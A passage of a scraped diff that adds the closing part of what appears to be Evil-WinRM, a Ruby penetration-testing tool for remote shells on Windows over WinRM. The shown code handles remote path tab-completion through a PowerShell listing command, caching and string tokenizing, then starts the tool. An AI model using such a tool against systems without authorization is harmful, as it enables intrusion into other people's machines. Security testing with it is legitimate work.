return [n_path, "" ] if !!(n_path[-1] =~ /\/$/)
|
921
|
+
i_last = n_path.rindex('/')
|
922
|
+
if i_last.nil?
|
923
|
+
return ["./", n_path]
|
924
|
+
end
|
925
|
+
|
926
|
+
next_i = i_last + 1
|
927
|
+
amount = n_path.length() - next_i
|
928
|
+
|
929
|
+
return [n_path[0, i_last + 1], n_path[next_i, amount]]
|
930
|
+
end
|
931
|
+
|
932
|
+
def complete_path(str, shell)
|
933
|
+
if @completion_enabled then
|
934
|
+
if !str.empty? && !!(str =~ /^(\.\/|[a-z,A-Z]\:|\.\.\/|\~\/|\/)*/i) then
|
935
|
+
n_path = str
|
936
|
+
parts = self.get_dir_parts(n_path)
|
937
|
+
dir_p = parts[0]
|
938
|
+
nam_p = parts[1]
|
939
|
+
result = []
|
940
|
+
result = self.get_from_cache(dir_p) unless dir_p =~ /^(\.\/|\.\.\/|\~|\/)/
|
941
|
+
|
942
|
+
if result.nil? || result.empty? then
|
943
|
+
target_dir = dir_p
|
944
|
+
pscmd = "$a=@();$(ls '#{target_dir}*' -ErrorAction SilentlyContinue -Force |Foreach-Object { if((Get-Item $_.FullName -ErrorAction SilentlyContinue) -is [System.IO.DirectoryInfo] ){ $a += \"$($_.FullName.Replace('\\','/'))/\"}else{ $a += \"$($_.FullName.Replace('\\', '/'))\" } });$a += \"$($(Resolve-Path -Path '#{target_dir}').Path.Replace('\\','/'))\";$a"
|
945
|
+
|
946
|
+
output = shell.run(pscmd).output
|
947
|
+
s = output.to_s.gsub(/\r/, '').split(/\n/)
|
948
|
+
|
949
|
+
dir_p = s.pop
|
950
|
+
self.set_cache(dir_p, s)
|
951
|
+
result = s
|
952
|
+
end
|
953
|
+
dir_p = dir_p + "/" unless dir_p[-1] == "/"
|
954
|
+
path_grep = self.normalize_path(dir_p + nam_p)
|
955
|
+
path_grep = path_grep.chop() if !path_grep.empty? && path_grep[0] == "\""
|
956
|
+
filtered = result.grep(/^#{path_grep}/i)
|
957
|
+
return filtered.collect{ |x| "\"#{x}\"" }
|
958
|
+
end
|
959
|
+
end
|
960
|
+
end
|
961
|
+
end
|
962
|
+
|
963
|
+
# Class to create array (tokenize) from a string
|
964
|
+
class String def tokenize
|
965
|
+
self.
|
966
|
+
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
|
967
|
+
select {|s| not s.empty? }.
|
968
|
+
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
|
969
|
+
end
|
970
|
+
end
|
971
|
+
|
972
|
+
# Execution
|
973
|
+
e = EvilWinRM.new
|
974
|
+
e.main
|